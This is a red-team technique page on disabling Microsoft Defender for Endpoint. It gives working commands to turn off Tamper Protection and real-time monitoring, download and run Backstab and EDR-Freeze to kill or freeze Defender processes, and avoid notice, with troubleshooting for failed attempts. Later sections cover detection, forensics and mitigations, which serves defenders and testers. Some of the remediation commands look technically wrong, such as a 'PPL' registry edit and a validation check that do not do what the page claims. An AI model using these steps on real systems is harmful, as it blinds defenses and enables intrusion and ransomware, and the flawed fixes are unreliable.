| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-014 |
| MITRE ATT&CK v18.1 | T1562.001 - Impair Defenses: Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | Windows Endpoint / M365 |
| Severity | Critical |
| Technique Status | PARTIAL (Tamper Protection introduced mitigation; older bypasses still viable) |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016 - 2025; MDE agent 10.0+ |
| Patched In | Tamper Protection (Server 2019+, MDE 10.7+) mitigates direct registry modifications |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Defender for Endpoint (MDE), formerly Windows Defender Advanced Threat Protection, is an endpoint detection and response (EDR) solution that monitors process execution, file operations, network connections, and memory access. Attackers can disable or tamper with MDE by:
Once MDE is disabled, adversaries can execute malware, dump credentials, perform lateral movement, and exfiltrate data without generating EDR telemetry or alerts.
Attack Surface: Windows kernel (WdFilter.sys), Process Explorer driver, Tamper Protection registry keys, Event Tracing for Windows (ETW), WerFaultSecure.exe.
Business Impact: Complete endpoint invisibility. Attackers can execute arbitrary code, install persistence mechanisms, and move laterally without detection. Forensic investigation becomes impossible due to absence of EDR telemetry.
Technical Context: MDE bypass typically takes 2-5 minutes once administrator privileges are obtained. Detection likelihood is Low-Medium if Tamper Protection is enabled; High if only using default registry-based detection. Common indicators include process crash/exit of MsMpEng.exe or SenseNdr.exe, registry modification attempts, and unusual WerFaultSecure.exe activity.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Windows Server 2022: 18.9.8 | Ensure Windows Defender Real-Time Monitoring is enabled |
| DISA STIG | WN10-00-000047 | Windows Defender Antimalware Service must be running |
| CISA SCuBA | AC-2 | Account Management and MDE deployment baseline |
| NIST 800-53 | SI-2 (Flaw Remediation), SI-3 (Malicious Code Protection) | Ensure EDR solutions are deployed and functioning |
| GDPR | Art. 32 | Security of Processing (technical measures to protect personal data) |
| DORA | Art. 9 | ICT security auditing and resilience testing |
| NIS2 | Art. 21 | Incident response and security measures |
| ISO 27001 | A.12.6.1 | Management of technical vulnerabilities |
| ISO 27005 | Risk Scenario: “EDR Bypass via Kernel Exploitation” | Failure of endpoint security agent leads to undetected malicious activity |
Required Privileges:
Required Access:
HKLM\SYSTEM\CurrentControlSet\Services\WdFilter)C:\Windows\System32\drivers\)Supported Versions:
Tools:
Objective: Confirm MDE installation and identify protection mechanisms (Tamper Protection status).
# Check if MDE is installed and running
Get-MpComputerStatus
# Output will show:
# AntivirusEnabled : True
# RealTimeProtectionEnabled : True
# BehaviorMonitoringEnabled : True
What to Look For:
AntivirusEnabled: True (MDE is active)RealTimeProtectionEnabled: True (Signature-based detection is enabled)IsTamperProtected: True (Tamper Protection is active; exploit required)# Check Tamper Protection Status
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"
# If value = 5: Tamper Protection is OFF (manual exploitation not required)
# If value = 4: Tamper Protection is ON (requires kernel-level exploitation)
Version Note: Tamper Protection availability:
# Verify WdFilter driver is loaded
Get-Service WdFilter
# Output should show:
# Status : Running
# Name : WdFilter
# DisplayName : Windows Defender Filter Driver
What to Look For:
Status: Running confirms kernel driver is active# Check WdFilter driver altitude (used in exploitation)
reg query "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\Instances\WdFilter Instance" /v Altitude
# Output: Altitude: 328010 (this value is key for WdFilter restoration)
Supported Versions: Server 2019+, Windows 10/11 (with MDE 10.7+)
Objective: Exploit TrustedInstaller privileges to manipulate the WdFilter kernel driver and disable Tamper Protection, allowing subsequent registry modifications to disable Defender.
Version Note: This technique is PARTIAL; Tamper Protection in Windows Server 2022+ and latest MDE versions has additional protections, but vulnerabilities in TrustedInstaller privilege handling still exist.
Objective: Gain TrustedInstaller (NT SERVICE\TrustedInstaller) privileges to modify protected registry keys.
Command (PowerShell - Requires Local Admin):
# Method 1: Using WMI to spawn process with TrustedInstaller privileges
$username = "NT SERVICE\TrustedInstaller"
$password = "" # TrustedInstaller has no password
$domain = "."
$credential = New-Object System.Management.Automation.PSCredential `
-ArgumentList $username, (ConvertTo-SecureString -String $password -AsPlainText -Force)
# Note: Direct spawn is blocked; use the Disable-TamperProtection tool instead
Alternative Command (Using Disable-TamperProtection.exe):
# Download the tool (GitHub Gist or local compile)
# https://github.com/0xvpr/Disable-TamperProtection
Disable-TamperProtection.exe 1
# Output:
# [+] WdFilter Altitude Registry key has been successfully deleted.
# [+] Trusted Installer handle: 00000000000000C4
Expected Output:
WdFilter Altitude Registry key deleted successfully
Process ID assigned TrustedInstaller token privileges
Registry spawn initiated with elevated context
What This Means:
OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix (All Versions) |
|---|---|---|
| “Access Denied” | Not running as admin | Re-run PowerShell as Administrator: Right-click → Run as administrator |
| “WdFilter key not found” | WdFilter not installed | Verify MDE is installed: Get-MpComputerStatus |
| “Trusted Installer not available” | Permissions insufficient | Compile Disable-TamperProtection from source and sign with self-signed cert |
References & Proofs:
Objective: After WdFilter driver altitude is deleted, modify the TamperProtection registry key to disable it.
Command:
# Run Disable-TamperProtection.exe with option 2
Disable-TamperProtection.exe 2
# Output:
# [+] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
# [+] Created process ID: 7748 and assigned additional token privileges.
# [+] Use option '3' to finally Disable AV/MDE.
Alternative Command (Direct Registry Modification - if Tamper Protection not enforced):
# If Tamper Protection is disabled, directly modify the registry
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d 0 /f
Expected Output:
The operation completed successfully.
TamperProtection registry key set to 0 (disabled)
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Now that Tamper Protection is disabled, disable Defender’s core protections.
Command:
# Run Disable-TamperProtection.exe with option 3
Disable-TamperProtection.exe 3
# Alternative: Direct PowerShell command
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true
Expected Output:
[+] Real-time protection disabled
[+] Behavior monitoring disabled
[+] AMSI scanning disabled
What This Means:
OpSec & Evasion:
Supported Versions: Server 2016 - 2022 (technique relies on allowing admin process manipulation; Server 2025 hardens this)
Objective: Kill MDE sentinel processes (SenseNdr.exe, MsMpEng.exe) using Backstab, which exploits the Process Explorer driver to obtain SeDebugPrivilege and terminate protected processes.
Objective: Obtain the Backstab binary that will kill MDE processes.
Command (Download Pre-Compiled):
# Download Backstab from GitHub
Invoke-WebRequest -Uri "https://github.com/dzusername/Backstab/releases/download/v1.0/Backstab.exe" `
-OutFile "C:\Temp\Backstab.exe"
# Verify file signature (optional, can be skipped for evasion)
Get-AuthenticodeSignature "C:\Temp\Backstab.exe"
Alternative (Compile from Source):
# Clone the repository and compile using Visual Studio
git clone https://github.com/dzusername/Backstab.git
cd Backstab
# Open Backstab.sln in Visual Studio
# Build → Release
# Backstab.exe will be in bin\Release\
Expected Output:
Backstab.exe downloaded/compiled successfully
File size: ~50-150 KB
What This Means:
Objective: Run Backstab with administrative privileges to terminate MDE sentinel processes.
Command:
# Run as Administrator
C:\Temp\Backstab.exe -k 4728 # PID of MsMpEng.exe or SenseNdr.exe
# Or automatically kill all Defender processes:
tasklist | findstr "MsMpEng\|SenseNdr\|NisSrv" # Find PID
C:\Temp\Backstab.exe -k <PID>
Expected Output:
[+] Obtaining SeDebugPrivilege...
[+] Opening handle to protected process (MsMpEng.exe, PID: 4728)
[+] Killing process thread...
[+] MsMpEng.exe terminated
What This Means:
OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “Access Denied” | Not running as admin | Re-run with runas /user:Administrator or elevate privileges first |
| “Process handle failed” | Process is PPL (Protected Process Light) | Use METHOD 3 (EDR-Freeze) instead, which suspends rather than kills |
| “SenseNdr respawns” | Windows auto-restart service | Modify startup type: sc config SenseNdr start= disabled |
References & Proofs:
Supported Versions: Server 2019+ (exploits WerFaultSecure.exe; patched in latest Server 2025)
Objective: Suspend MDE processes indefinitely using WerFaultSecure.exe (a Protected Process Light) and the MiniDumpWriteDump function, rather than killing them. This avoids restart logic and generates fewer telemetry events.
Version Note: This technique is PARTIAL; Microsoft has patched WerFaultSecure.exe in latest updates, but unpatched systems remain vulnerable.
Objective: Obtain the EDR-Freeze tool that exploits WerFaultSecure.exe for process suspension.
Command:
# Download EDR-Freeze
Invoke-WebRequest -Uri "https://github.com/mgeeky/EDR-Freeze/releases/download/latest/EDR-Freeze.exe" `
-OutFile "C:\Temp\EDR-Freeze.exe"
Expected Output:
EDR-Freeze.exe downloaded successfully
Objective: Run EDR-Freeze to suspend SenseNdr.exe and MsMpEng.exe, leaving them in a frozen state.
Command:
# Run as Administrator
C:\Temp\EDR-Freeze.exe --target MsMpEng.exe --suspend
# Output:
# [+] Found MsMpEng.exe (PID: 4728)
# [+] Opening handle to WerFaultSecure.exe...
# [+] Loading dbgcore.dll and MiniDumpWriteDump...
# [+] Suspending target process...
# [+] MsMpEng.exe is now suspended indefinitely
Expected Output:
[+] Process suspended: MsMpEng.exe
[+] EDR will not generate telemetry while suspended
[+] Process can be resumed later or left frozen
What This Means:
OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “WerFaultSecure.exe not found” | Windows 7 or Server 2012 | WerFaultSecure is not available; use METHOD 2 instead |
| “dbgcore.dll load failed” | DLL not in system path | EDR-Freeze will attempt to load from System32; ensure no application block policies |
| “Access Denied on process” | Process is kernel-protected | Some Server 2022+ systems have kernel-level EDR hooks; try with elevated (System) privileges |
References & Proofs:
Windows Event Logs:
Backstab.exe, EDR-Freeze.exe, registry.exe with unusual arguments)MsMpEng.exe, SenseNdr.exe, NisSrv.exe)File Artifacts:
C:\Temp\, C:\Windows\Temp\, or AppData\Local\Temp\HKLM\SYSTEM\CurrentControlSet\Services\WdFilter, HKLM\SOFTWARE\Microsoft\Windows Defender\FeaturesNetwork Artifacts:
events.data.microsoft.com or settings.data.microsoft.comCollect Windows Event Logs:
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export System Event Log (for service stop events)
wevtutil epl System C:\Evidence\System.evtx
# Export Sysmon logs (if installed)
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
Registry Artifacts:
# Export WdFilter registry hive
reg export HKLM\SYSTEM\CurrentControlSet\Services\WdFilter C:\Evidence\WdFilter.reg
# Export Defender preferences
reg export HKLM\SOFTWARE\Microsoft\Windows Defender C:\Evidence\Defender.reg
MDE Telemetry (if not deleted):
# Check MDE local cache (if agent was running before termination)
Get-ChildItem "C:\ProgramData\Microsoft\Windows Defender\Scans\History" -Recurse
Disable-NetAdapter -Name "Ethernet"Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -DisableBehaviorMonitoring $false
Enable Tamper Protection: Tamper Protection (available in Server 2019+ with MDE 10.7+) prevents unauthorized modification of Defender settings and WdFilter registry keys.
Manual Steps (Azure Portal - for cloud-joined devices):
Manual Steps (Windows Security - Local System):
Manual Steps (PowerShell - Requires Local Admin):
Set-MpPreference -DisableTamperProtection $false
Restrict Administrator Privileges: Limit the number of users with local administrator access; use Privileged Access Management (PAM) to require justification for privilege escalation.
Manual Steps (Active Directory):
Disable Auto-Restart of MDE Services: Prevent Backstab from simply killing and restarting MDE by changing service startup type to “Disabled” if manual intervention is required (not recommended, but can be combined with monitoring).
Manual Steps (Server 2019+ with Tamper Protection):
services.msc)Monitor Process Termination Events: Implement alerting on Event ID 4689 (process terminated) for critical Defender processes (MsMpEng.exe, SenseNdr.exe).
Manual Steps (Group Policy):
gpupdate /force on all machinesManual Steps (Intune):
Enable Protected Process Light (PPL) for MDE: Prevents unauthorized code from accessing or terminating MDE processes.
Manual Steps (PowerShell - Server 2019+):
# Enable PPL for Windows Defender
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d 1 /f
Restart-Computer
Validation:
Get-Process MsMpEng | Select-Object ProcessName, @{Name="IsProtected";Expression={$_.MainModule.FileVersionInfo.InternalName -like "*Protected*"}}
Monitor WdFilter and Defender Registry Key Modifications: Alert on any changes to HKLM\SYSTEM\CurrentControlSet\Services\WdFilter or HKLM\SOFTWARE\Microsoft\Windows Defender\Features.
Manual Steps (Sysmon - Windows Defender Config):
<RegistryEvent onmatch="include">
<TargetObject name="technique_id:T1562.001">HKLM\SYSTEM\CurrentControlSet\Services\WdFilter.*</TargetObject>
<TargetObject name="technique_id:T1562.001">HKLM\SOFTWARE\Microsoft\Windows Defender\Features.*</TargetObject>
</RegistryEvent>
sysmon64.exe -accepteula -usysmon64.exe -accepteula -i sysmon-config.xmlManual Steps (Auditing - Event ID 4657):
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
Implement Application Control (Windows Defender Application Control): Block execution of Backstab.exe, EDR-Freeze.exe, and other known EDR bypass tools.
Manual Steps (Group Policy - Windows Defender Application Control):
Validation Command (Verify Fix):
# Check that Tamper Protection is enabled
Get-MpComputerStatus | Select-Object IsTamperProtected
# Expected output: IsTamperProtected : True
# Verify real-time protection is active
Get-MpPreference | Select-Object DisableRealtimeMonitoring
# Expected output: DisableRealtimeMonitoring : False
What to Look For:
IsTamperProtected: True indicates Tamper Protection is activeDisableRealtimeMonitoring: False indicates real-time scanning is enabled| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Privilege Escalation | [PE-EXPLOIT-001] PrintNightmare | Gain local administrator privileges on a Windows endpoint |
| 2 | Defense Evasion | [EVADE-IMPAIR-014] | Disable MDE via WdFilter exploitation or process termination |
| 3 | Credential Access | [CA-DUMP-001] Mimikatz LSASS | Dump credentials from memory without MDE detection |
| 4 | Lateral Movement | [LM-AUTH-002] Pass-the-Ticket | Move laterally using stolen Kerberos tickets |
| 5 | Impact | Ransomware deployment | Deploy ransomware without MDE blocking |
Set-MpPreference -DisableRealtimeMonitoring $true when running as SYSTEM; then deployed Cobalt Strike